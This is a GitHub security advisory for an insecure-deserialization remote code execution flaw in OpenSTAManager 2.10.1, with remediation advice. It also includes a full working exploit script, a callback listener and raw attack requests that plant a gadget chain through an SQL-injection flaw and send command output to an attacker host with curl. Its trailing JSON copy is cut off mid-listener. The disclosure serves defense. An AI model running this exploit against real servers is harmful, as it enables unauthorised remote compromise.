GHSA-WHV5-4Q2F-Q68G

Vulnerability from github – Published: 2026-04-01 19:46 – Updated: 2026-04-06 17:17
VLAI?
Summary
OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2
Details

Description

The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.

An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.

Affected code

Entry point — oauth2.php

$skip_permissions = true;                              // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';

$state = $_GET['state'];                               // Line 28: attacker-controlled
$code = $_GET['code'];

$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state);          // Line 51: triggers the chain

Deserialization — src/Models/OAuth2.php

// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;

// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;

unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.

Execution flow

oauth2.php (no auth)
  → configure()
    → needsConfiguration()
      → getAccessToken()
        → checkTokens()
          → unserialize($this->access_token)   ← attacker payload
            → Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
          → $access_token->hasExpired()         ← PendingBroadcast lacks this method → PHP Error
        → During error cleanup:
          → PendingBroadcast.__destruct()       ← fires during shutdown
            → system($command)                  ← RCE

The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.

Full attack chain

This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:

  1. Payload injection (requires admin account): Via op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object into zz_oauth2.access_token
  2. RCE trigger (unauthenticated): A GET request to oauth2.php?state=<known_value>&code=x triggers the deserialization and executes the command

Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.

Gadget chain

The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:

PendingBroadcast.__destruct()
  → $this->events->dispatch($this->event)
  → chain of __call() / __invoke()
  → system($command)

Proof of Concept

Execution

Terminal 1 — Attacker listener:

python3 listener.py --port 9999

Terminal 2 — Exploit:

python3 exploit.py \
  --target http://localhost:8888 \
  --callback http://host.docker.internal:9999 \
  --user admin --password <password>

image

Observed result

Listener receives: image The id command was executed on the server as www-data, confirming RCE.

HTTP requests from the exploit

Step 4 — Injection (authenticated):

POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded

op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]

Step 5 — Trigger (NO authentication):

GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1

(No cookies — completely anonymous request)

Response: HTTP 500 (expected — the error occurs after __destruct() has already executed the command)

Exploit — exploit.py

#!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)

Usage:
  python3 listener.py --port 9999
  python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""

import argparse
import json
import random
import re
import string
import subprocess
import sys
import time

try:
    import requests
except ImportError:
    print("[!] pip install requests")
    sys.exit(1)

RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"

BANNER = f"""
  {RED}{'=' * 58}{RESET}
  {RED}{BOLD}  OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}
  {RED}{BOLD}  Arbitrary SQL → Insecure Deserialization{RESET}
  {RED}{'=' * 58}{RESET}
"""


def log(msg, status="*"):
    icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
    print(f"  [{icons.get(status, '*')}] {msg}")


def step_header(num, title):
    print(f"\n  {BOLD}── Step {num}: {title} ──{RESET}\n")


def generate_payload(container, command):
    step_header(1, "Generate Gadget Chain Payload")

    log("Checking phpggc in container...")
    result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True)
    if result.returncode != 0:
        log("Installing phpggc...", "!")
        proc = subprocess.run(
            ["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
            capture_output=True, text=True,
        )
        if proc.returncode != 0:
            log(f"Failed to install phpggc: {proc.stderr}", "-")
            sys.exit(1)

    log(f"Command: {DIM}{command}{RESET}")

    result = subprocess.run(
        ["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
        capture_output=True,
    )
    if result.returncode != 0:
        log(f"phpggc failed: {result.stderr.decode()}", "-")
        sys.exit(1)

    payload_bytes = result.stdout
    log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+")
    return payload_bytes


def authenticate(target, username, password):
    step_header(2, "Authenticate")
    session = requests.Session()
    log(f"Logging in as '{username}'...")

    resp = session.post(
        f"{target}/index.php",
        data={"op": "login", "username": username, "password": password},
        allow_redirects=False, timeout=10,
    )

    location = resp.headers.get("Location", "")
    if resp.status_code != 302 or "index.php" in location:
        log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
        sys.exit(1)

    session.get(f"{target}{location}", timeout=10)
    log("Authenticated", "+")
    return session


def find_module_id(session, target, container):
    step_header(3, "Find 'Aggiornamenti' Module ID")
    log("Searching navigation sidebar...")
    resp = session.get(f"{target}/controller.php", timeout=10)

    for match in re.finditer(r'id_module=(\d+)', resp.text):
        snippet = resp.text[match.start():match.start() + 300]
        if re.search(r'[Aa]ggiornamenti', snippet):
            module_id = int(match.group(1))
            log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
            return module_id

    log("Not found in sidebar, querying database...", "!")
    result = subprocess.run(
        ["docker", "exec", container, "php", "-r",
         "require '/var/www/html/config.inc.php'; "
         "$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); "
         "echo $pdo->query(\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\")->fetchColumn();"],
        capture_output=True, text=True,
    )
    if result.stdout.strip().isdigit():
        module_id = int(result.stdout.strip())
        log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
        return module_id

    log("Could not find module ID", "-")
    sys.exit(1)


def inject_payload(session, target, module_id, payload_bytes, state_value):
    step_header(4, "Inject Payload via Arbitrary SQL")

    hex_payload = payload_bytes.hex()
    record_id = random.randint(90000, 99999)

    queries = [
        f"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'",
        f"INSERT INTO zz_oauth2 "
        f"(id, name, class, client_id, client_secret, config, "
        f"state, access_token, after_configuration, is_login, enabled) VALUES "
        f"({record_id}, 'poc', 'Modules\\\\Emails\\\\OAuth2\\\\Google', "
        f"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)",
        "CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)",
        "DROP TABLE IF EXISTS _poc_ddl_commit",
    ]

    log(f"State trigger: {BOLD}{state_value}{RESET}")
    log(f"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)")
    log("Sending to actions.php...")

    resp = session.post(
        f"{target}/actions.php",
        data={"op": "risolvi-conflitti-database", "id_module": str(module_id), "id_record": "", "queries": json.dumps(queries)},
        timeout=15,
    )

    try:
        result = json.loads(resp.text)
        if result.get("success"):
            log("Payload planted in zz_oauth2.access_token", "+")
            return True
        else:
            log(f"Injection failed: {result.get('message', '?')}", "-")
            return False
    except json.JSONDecodeError:
        log(f"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}", "-")
        return False


def trigger_rce(target, state_value):
    step_header(5, "Trigger RCE (NO AUTHENTICATION)")

    url = f"{target}/oauth2.php"
    log(f"GET {url}?state={state_value}&code=x")
    log(f"{DIM}(This request is UNAUTHENTICATED){RESET}")

    try:
        resp = requests.get(url, params={"state": state_value, "code": "x"}, allow_redirects=False, timeout=15)
        log(f"HTTP {resp.status_code}", "+")
        if resp.status_code == 500:
            log(f"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}")
    except requests.exceptions.Timeout:
        log("Timed out (command may still have executed)", "!")
    except requests.exceptions.ConnectionError as e:
        log(f"Connection error: {e}", "-")


def main():
    parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC")
    parser.add_argument("--target", required=True, help="Target URL")
    parser.add_argument("--callback", required=True, help="Attacker listener URL reachable from the container")
    parser.add_argument("--user", default="admin", help="Username (default: admin)")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--container", default="osm-web", help="Docker web container (default: osm-web)")
    parser.add_argument("--command", help="Custom command (default: curl callback with id output)")
    args = parser.parse_args()

    print(BANNER)

    target = args.target.rstrip("/")
    callback = args.callback.rstrip("/")
    state_value = "poc-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=12))
    command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)"

    payload = generate_payload(args.container, command)
    session = authenticate(target, args.user, args.password)
    module_id = find_module_id(session, target, args.container)

    if not inject_payload(session, target, module_id, payload, state_value):
        log("Exploit failed at injection step", "-")
        sys.exit(1)

    time.sleep(1)
    trigger_rce(target, state_value)

    print(f"\n  {BOLD}── Result ──{RESET}\n")
    log("Exploit complete. Check your listener for the callback.", "+")
    log("Expected: GET /rce-<base64(id)>")
    log(f"If no callback, verify the container can reach: {callback}", "!")


if __name__ == "__main__":
    main()

Listener — listener.py

#!/usr/bin/env python3
"""OpenSTAManager v2.10.1 — RCE Callback Listener"""

import argparse
import base64
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"


class CallbackHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"\n  {RED}{'=' * 58}{RESET}")
        print(f"  {RED}{BOLD}  RCE CALLBACK RECEIVED{RESET}")
        print(f"  {RED}{'=' * 58}{RESET}")
        print(f"  {GREEN}[+]{RESET} Time : {ts}")
        print(f"  {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}")
        print(f"  {GREEN}[+]{RESET} Path : {self.path}")

        for part in self.path.lstrip("/").split("/"):
            if part.startswith("rce-"):
                try:
                    decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace")
                    print(f"  {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}")
                except Exception:
                    print(f"  {YELLOW}[!]{RESET} Raw : {part[4:]}")

        print(f"  {RED}{'=' * 58}{RESET}\n")
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"OK")

    def do_POST(self):
        self.do_GET()

    def log_message(self, format, *args):
        pass


def main():
    parser = argparse.ArgumentParser(description="RCE callback listener")
    parser.add_argument("--port", type=int, default=9999, help="Listen port (default: 9999)")
    args = parser.parse_args()

    server = HTTPServer(("0.0.0.0", args.port), CallbackHandler)
    print(f"\n  {BLUE}{'=' * 58}{RESET}")
    print(f"  {BLUE}{BOLD}  OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}")
    print(f"  {BLUE}{'=' * 58}{RESET}")
    print(f"  {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}")
    print(f"  {YELLOW}[!]{RESET} Waiting for callback...\n")

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print(f"\n  {YELLOW}[!]{RESET} Stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

Impact

  • Confidentiality: Read server files, database credentials, API keys
  • Integrity: Write files, install backdoors, modify application code
  • Availability: Delete files, denial of service
  • Scope: Command execution as www-data allows pivoting to other systems on the network

Proposed remediation

Option A: Restrict unserialize() (recommended)

// src/Models/OAuth2.php — checkTokens() and getAccessToken()
$access_token = $this->access_token
    ? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]])
    : null;

Option B: Use safe serialization

Replace serialize()/unserialize() with json_encode()/json_decode() for storing OAuth2 tokens.

Option C: Authenticate oauth2.php

Remove $skip_permissions = true and require authentication for the OAuth2 callback endpoint, or validate the state parameter against a value stored in the user's session.

Credits

Omar Ramirez

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T19:46:50Z",
    "nvd_published_at": "2026-04-02T14:16:27Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\nThe `oauth2.php` file in OpenSTAManager is an **unauthenticated** endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field **without any class restriction**.\n\nAn attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in [GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user.\n\n## Affected code\n\n### Entry point \u2014 `oauth2.php`\n\n```php\n$skip_permissions = true;                              // Line 23: NO AUTHENTICATION\ninclude_once __DIR__.\u0027/core.php\u0027;\n\n$state = $_GET[\u0027state\u0027];                               // Line 28: attacker-controlled\n$code = $_GET[\u0027code\u0027];\n\n$account = OAuth2::where(\u0027state\u0027, \u0027=\u0027, $state)-\u003efirst(); // Line 33: fetches injected record\n$response = $account-\u003econfigure($code, $state);          // Line 51: triggers the chain\n```\n\n### Deserialization \u2014 `src/Models/OAuth2.php`\n\n```php\n// Line 193 (checkTokens):\n$access_token = $this-\u003eaccess_token ? unserialize($this-\u003eaccess_token) : null;\n\n// Line 151 (getAccessToken):\nreturn $this-\u003eattributes[\u0027access_token\u0027] ? unserialize($this-\u003eattributes[\u0027access_token\u0027]) : null;\n```\n\n`unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader.\n\n## Execution flow\n\n```\noauth2.php (no auth)\n  \u2192 configure()\n    \u2192 needsConfiguration()\n      \u2192 getAccessToken()\n        \u2192 checkTokens()\n          \u2192 unserialize($this-\u003eaccess_token)   \u2190 attacker payload\n            \u2192 Creates PendingBroadcast object (Laravel/RCE22 gadget chain)\n          \u2192 $access_token-\u003ehasExpired()         \u2190 PendingBroadcast lacks this method \u2192 PHP Error\n        \u2192 During error cleanup:\n          \u2192 PendingBroadcast.__destruct()       \u2190 fires during shutdown\n            \u2192 system($command)                  \u2190 RCE\n```\n\nThe HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup.\n\n## Full attack chain\n\nThis vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module ([GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) to achieve unauthenticated RCE:\n\n1. **Payload injection** (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token`\n2. **RCE trigger** (unauthenticated): A GET request to `oauth2.php?state=\u003cknown_value\u003e\u0026code=x` triggers the deserialization and executes the command\n\n**Persistence note**: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit.\n\n## Gadget chain\n\nThe chain used is **Laravel/RCE22** (available in [phpggc](https://github.com/ambionics/phpggc)), which exploits classes from the Laravel framework present in the project\u0027s dependencies:\n\n```\nPendingBroadcast.__destruct()\n  \u2192 $this-\u003eevents-\u003edispatch($this-\u003eevent)\n  \u2192 chain of __call() / __invoke()\n  \u2192 system($command)\n```\n\n## Proof of Concept\n\n### Execution\n\n**Terminal 1** \u2014 Attacker listener:\n```bash\npython3 listener.py --port 9999\n```\n\n**Terminal 2** \u2014 Exploit:\n```bash\npython3 exploit.py \\\n  --target http://localhost:8888 \\\n  --callback http://host.docker.internal:9999 \\\n  --user admin --password \u003cpassword\u003e\n```\n\u003cimg width=\"638\" height=\"722\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f\" /\u003e\n\n### Observed result\n\n**Listener receives:**\n\u003cimg width=\"683\" height=\"286\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1\" /\u003e\nThe `id` command was executed on the server as `www-data`, confirming RCE.\n\n### HTTP requests from the exploit\n\n**Step 4 \u2014 Injection (authenticated):**\n```\nPOST /actions.php HTTP/1.1\nCookie: PHPSESSID=\u003csession\u003e\nContent-Type: application/x-www-form-urlencoded\n\nop=risolvi-conflitti-database\u0026id_module=6\u0026queries=[\"DELETE FROM zz_oauth2 WHERE state=\u0027poc-xxx\u0027\",\"INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,\u0027poc\u0027,\u0027Modules\\\\\\\\Emails\\\\\\\\OAuth2\\\\\\\\Google\u0027,\u0027x\u0027,\u0027x\u0027,\u0027{}\u0027,\u0027poc-xxx\u0027,0x\u003cpayload_hex\u003e,\u0027\u0027,0,1)\",\"CREATE TABLE IF NOT EXISTS _t(i INT)\",\"DROP TABLE IF EXISTS _t\"]\n```\n\n**Step 5 \u2014 Trigger (NO authentication):**\n```\nGET /oauth2.php?state=poc-xxx\u0026code=x HTTP/1.1\n\n(No cookies \u2014 completely anonymous request)\n```\n\n**Response:** HTTP 500 (expected \u2014 the error occurs after `__destruct()` has already executed the command)\n\n### Exploit \u2014 `exploit.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpenSTAManager v2.10.1 \u2014 RCE PoC (Arbitrary SQL \u2192 Insecure Deserialization)\n\nUsage:\n  python3 listener.py --port 9999\n  python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234\n\"\"\"\n\nimport argparse\nimport json\nimport random\nimport re\nimport string\nimport subprocess\nimport sys\nimport time\n\ntry:\n    import requests\nexcept ImportError:\n    print(\"[!] pip install requests\")\n    sys.exit(1)\n\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nBLUE = \"\\033[94m\"\nBOLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\nRESET = \"\\033[0m\"\n\nBANNER = f\"\"\"\n  {RED}{\u0027=\u0027 * 58}{RESET}\n  {RED}{BOLD}  OpenSTAManager v2.10.1 \u2014 RCE Proof of Concept{RESET}\n  {RED}{BOLD}  Arbitrary SQL \u2192 Insecure Deserialization{RESET}\n  {RED}{\u0027=\u0027 * 58}{RESET}\n\"\"\"\n\n\ndef log(msg, status=\"*\"):\n    icons = {\"*\": f\"{BLUE}*{RESET}\", \"+\": f\"{GREEN}+{RESET}\", \"-\": f\"{RED}-{RESET}\", \"!\": f\"{YELLOW}!{RESET}\"}\n    print(f\"  [{icons.get(status, \u0027*\u0027)}] {msg}\")\n\n\ndef step_header(num, title):\n    print(f\"\\n  {BOLD}\u2500\u2500 Step {num}: {title} \u2500\u2500{RESET}\\n\")\n\n\ndef generate_payload(container, command):\n    step_header(1, \"Generate Gadget Chain Payload\")\n\n    log(\"Checking phpggc in container...\")\n    result = subprocess.run([\"docker\", \"exec\", container, \"test\", \"-f\", \"/tmp/phpggc/phpggc\"], capture_output=True)\n    if result.returncode != 0:\n        log(\"Installing phpggc...\", \"!\")\n        proc = subprocess.run(\n            [\"docker\", \"exec\", container, \"git\", \"clone\", \"https://github.com/ambionics/phpggc\", \"/tmp/phpggc\"],\n            capture_output=True, text=True,\n        )\n        if proc.returncode != 0:\n            log(f\"Failed to install phpggc: {proc.stderr}\", \"-\")\n            sys.exit(1)\n\n    log(f\"Command: {DIM}{command}{RESET}\")\n\n    result = subprocess.run(\n        [\"docker\", \"exec\", container, \"php\", \"/tmp/phpggc/phpggc\", \"Laravel/RCE22\", \"system\", command],\n        capture_output=True,\n    )\n    if result.returncode != 0:\n        log(f\"phpggc failed: {result.stderr.decode()}\", \"-\")\n        sys.exit(1)\n\n    payload_bytes = result.stdout\n    log(f\"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}\", \"+\")\n    return payload_bytes\n\n\ndef authenticate(target, username, password):\n    step_header(2, \"Authenticate\")\n    session = requests.Session()\n    log(f\"Logging in as \u0027{username}\u0027...\")\n\n    resp = session.post(\n        f\"{target}/index.php\",\n        data={\"op\": \"login\", \"username\": username, \"password\": password},\n        allow_redirects=False, timeout=10,\n    )\n\n    location = resp.headers.get(\"Location\", \"\")\n    if resp.status_code != 302 or \"index.php\" in location:\n        log(\"Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).\", \"-\")\n        sys.exit(1)\n\n    session.get(f\"{target}{location}\", timeout=10)\n    log(\"Authenticated\", \"+\")\n    return session\n\n\ndef find_module_id(session, target, container):\n    step_header(3, \"Find \u0027Aggiornamenti\u0027 Module ID\")\n    log(\"Searching navigation sidebar...\")\n    resp = session.get(f\"{target}/controller.php\", timeout=10)\n\n    for match in re.finditer(r\u0027id_module=(\\d+)\u0027, resp.text):\n        snippet = resp.text[match.start():match.start() + 300]\n        if re.search(r\u0027[Aa]ggiornamenti\u0027, snippet):\n            module_id = int(match.group(1))\n            log(f\"Module ID: {BOLD}{module_id}{RESET}\", \"+\")\n            return module_id\n\n    log(\"Not found in sidebar, querying database...\", \"!\")\n    result = subprocess.run(\n        [\"docker\", \"exec\", container, \"php\", \"-r\",\n         \"require \u0027/var/www/html/config.inc.php\u0027; \"\n         \"$pdo = new PDO(\u0027mysql:host=\u0027.$db_host.\u0027;dbname=\u0027.$db_name, $db_username, $db_password); \"\n         \"echo $pdo-\u003equery(\\\"SELECT id FROM zz_modules WHERE name=\u0027Aggiornamenti\u0027\\\")-\u003efetchColumn();\"],\n        capture_output=True, text=True,\n    )\n    if result.stdout.strip().isdigit():\n        module_id = int(result.stdout.strip())\n        log(f\"Module ID: {BOLD}{module_id}{RESET}\", \"+\")\n        return module_id\n\n    log(\"Could not find module ID\", \"-\")\n    sys.exit(1)\n\n\ndef inject_payload(session, target, module_id, payload_bytes, state_value):\n    step_header(4, \"Inject Payload via Arbitrary SQL\")\n\n    hex_payload = payload_bytes.hex()\n    record_id = random.randint(90000, 99999)\n\n    queries = [\n        f\"DELETE FROM zz_oauth2 WHERE id={record_id} OR state=\u0027{state_value}\u0027\",\n        f\"INSERT INTO zz_oauth2 \"\n        f\"(id, name, class, client_id, client_secret, config, \"\n        f\"state, access_token, after_configuration, is_login, enabled) VALUES \"\n        f\"({record_id}, \u0027poc\u0027, \u0027Modules\\\\\\\\Emails\\\\\\\\OAuth2\\\\\\\\Google\u0027, \"\n        f\"\u0027x\u0027, \u0027x\u0027, \u0027{{}}\u0027, \u0027{state_value}\u0027, 0x{hex_payload}, \u0027\u0027, 0, 1)\",\n        \"CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)\",\n        \"DROP TABLE IF EXISTS _poc_ddl_commit\",\n    ]\n\n    log(f\"State trigger: {BOLD}{state_value}{RESET}\")\n    log(f\"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)\")\n    log(\"Sending to actions.php...\")\n\n    resp = session.post(\n        f\"{target}/actions.php\",\n        data={\"op\": \"risolvi-conflitti-database\", \"id_module\": str(module_id), \"id_record\": \"\", \"queries\": json.dumps(queries)},\n        timeout=15,\n    )\n\n    try:\n        result = json.loads(resp.text)\n        if result.get(\"success\"):\n            log(\"Payload planted in zz_oauth2.access_token\", \"+\")\n            return True\n        else:\n            log(f\"Injection failed: {result.get(\u0027message\u0027, \u0027?\u0027)}\", \"-\")\n            return False\n    except json.JSONDecodeError:\n        log(f\"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}\", \"-\")\n        return False\n\n\ndef trigger_rce(target, state_value):\n    step_header(5, \"Trigger RCE (NO AUTHENTICATION)\")\n\n    url = f\"{target}/oauth2.php\"\n    log(f\"GET {url}?state={state_value}\u0026code=x\")\n    log(f\"{DIM}(This request is UNAUTHENTICATED){RESET}\")\n\n    try:\n        resp = requests.get(url, params={\"state\": state_value, \"code\": \"x\"}, allow_redirects=False, timeout=15)\n        log(f\"HTTP {resp.status_code}\", \"+\")\n        if resp.status_code == 500:\n            log(f\"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}\")\n    except requests.exceptions.Timeout:\n        log(\"Timed out (command may still have executed)\", \"!\")\n    except requests.exceptions.ConnectionError as e:\n        log(f\"Connection error: {e}\", \"-\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"OpenSTAManager v2.10.1 \u2014 RCE PoC\")\n    parser.add_argument(\"--target\", required=True, help=\"Target URL\")\n    parser.add_argument(\"--callback\", required=True, help=\"Attacker listener URL reachable from the container\")\n    parser.add_argument(\"--user\", default=\"admin\", help=\"Username (default: admin)\")\n    parser.add_argument(\"--password\", required=True, help=\"Password\")\n    parser.add_argument(\"--container\", default=\"osm-web\", help=\"Docker web container (default: osm-web)\")\n    parser.add_argument(\"--command\", help=\"Custom command (default: curl callback with id output)\")\n    args = parser.parse_args()\n\n    print(BANNER)\n\n    target = args.target.rstrip(\"/\")\n    callback = args.callback.rstrip(\"/\")\n    state_value = \"poc-\" + \"\".join(random.choices(string.ascii_lowercase + string.digits, k=12))\n    command = args.command or f\"curl -s {callback}/rce-$(id|base64 -w0)\"\n\n    payload = generate_payload(args.container, command)\n    session = authenticate(target, args.user, args.password)\n    module_id = find_module_id(session, target, args.container)\n\n    if not inject_payload(session, target, module_id, payload, state_value):\n        log(\"Exploit failed at injection step\", \"-\")\n        sys.exit(1)\n\n    time.sleep(1)\n    trigger_rce(target, state_value)\n\n    print(f\"\\n  {BOLD}\u2500\u2500 Result \u2500\u2500{RESET}\\n\")\n    log(\"Exploit complete. Check your listener for the callback.\", \"+\")\n    log(\"Expected: GET /rce-\u003cbase64(id)\u003e\")\n    log(f\"If no callback, verify the container can reach: {callback}\", \"!\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Listener \u2014 `listener.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"OpenSTAManager v2.10.1 \u2014 RCE Callback Listener\"\"\"\n\nimport argparse\nimport base64\nimport sys\nfrom datetime import datetime\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nBLUE = \"\\033[94m\"\nBOLD = \"\\033[1m\"\nRESET = \"\\033[0m\"\n\n\nclass CallbackHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        ts = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n        print(f\"\\n  {RED}{\u0027=\u0027 * 58}{RESET}\")\n        print(f\"  {RED}{BOLD}  RCE CALLBACK RECEIVED{RESET}\")\n        print(f\"  {RED}{\u0027=\u0027 * 58}{RESET}\")\n        print(f\"  {GREEN}[+]{RESET} Time : {ts}\")\n        print(f\"  {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}\")\n        print(f\"  {GREEN}[+]{RESET} Path : {self.path}\")\n\n        for part in self.path.lstrip(\"/\").split(\"/\"):\n            if part.startswith(\"rce-\"):\n                try:\n                    decoded = base64.b64decode(part[4:]).decode(\"utf-8\", errors=\"replace\")\n                    print(f\"  {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}\")\n                except Exception:\n                    print(f\"  {YELLOW}[!]{RESET} Raw : {part[4:]}\")\n\n        print(f\"  {RED}{\u0027=\u0027 * 58}{RESET}\\n\")\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"OK\")\n\n    def do_POST(self):\n        self.do_GET()\n\n    def log_message(self, format, *args):\n        pass\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"RCE callback listener\")\n    parser.add_argument(\"--port\", type=int, default=9999, help=\"Listen port (default: 9999)\")\n    args = parser.parse_args()\n\n    server = HTTPServer((\"0.0.0.0\", args.port), CallbackHandler)\n    print(f\"\\n  {BLUE}{\u0027=\u0027 * 58}{RESET}\")\n    print(f\"  {BLUE}{BOLD}  OpenSTAManager v2.10.1 \u2014 RCE Callback 